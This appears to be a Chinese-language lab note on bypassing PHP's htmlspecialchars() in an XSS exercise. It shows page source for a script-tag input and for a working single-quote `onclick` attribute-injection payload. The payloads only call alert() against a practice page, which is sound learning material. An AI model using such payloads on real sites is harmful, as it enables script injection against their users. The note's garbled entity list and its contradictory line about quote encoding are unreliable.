# xss之htmlspeclalchars
- htmlspecialchars()
- 將字符串中的特殊字符轉換為相應的HTML實體,從而確保這些字符不被解釋為HTML或JavaScript代碼。
- 預定義字符
- & 成為 &
- " 成為 "
- ' 成為 &`#039`
- < 成為 <
- `>` 成為 >
- 輸入特殊字符

- source page
- ```php
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>你的输入已经被记录:</p><a href='"<>?#'666'>"<>?#'666</a> </div>
</div><!-- /.page-content -->
```
- 可以看到特殊字符已被編碼 `<a href='"<>?#'666'>"<>?#'666</a>`
- 輸入 ``<script>alert("xss")</script>``
- source page
- ```php
<div id="xssr_main">
<p class="xssr_title">人生之所有苦短,是因为你的xss学习的还不够好</p>
<form method="get">
<input class="xssr_in" type="text" name="message" />
<input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
<p class='notice'>你的输入已经被记录:</p><a href='<script>alert("xss")</script>'><script>alert("xss")</script></a> </div>
</div><!-- /.page-content -->
```
- 單引號未被編碼
- payload
- 加上單引號來閉合href中的單引號
- `' onclick='alert(111)'`
- 輸入後發現單引號被編碼了
- ```php
<p class='notice'>你的输入已经被记录:</p><a href='' onclick='alert(111)' ''>' onclick='alert(111)' '</a>
```
{"title":"xss之htmlspeclalchars","description":"htmlspecialchars()","contributors":"[{\"id\":\"e8de30ea-0683-40e8-973b-1acc1b3e6824\",\"add\":1780,\"del\":0}]"}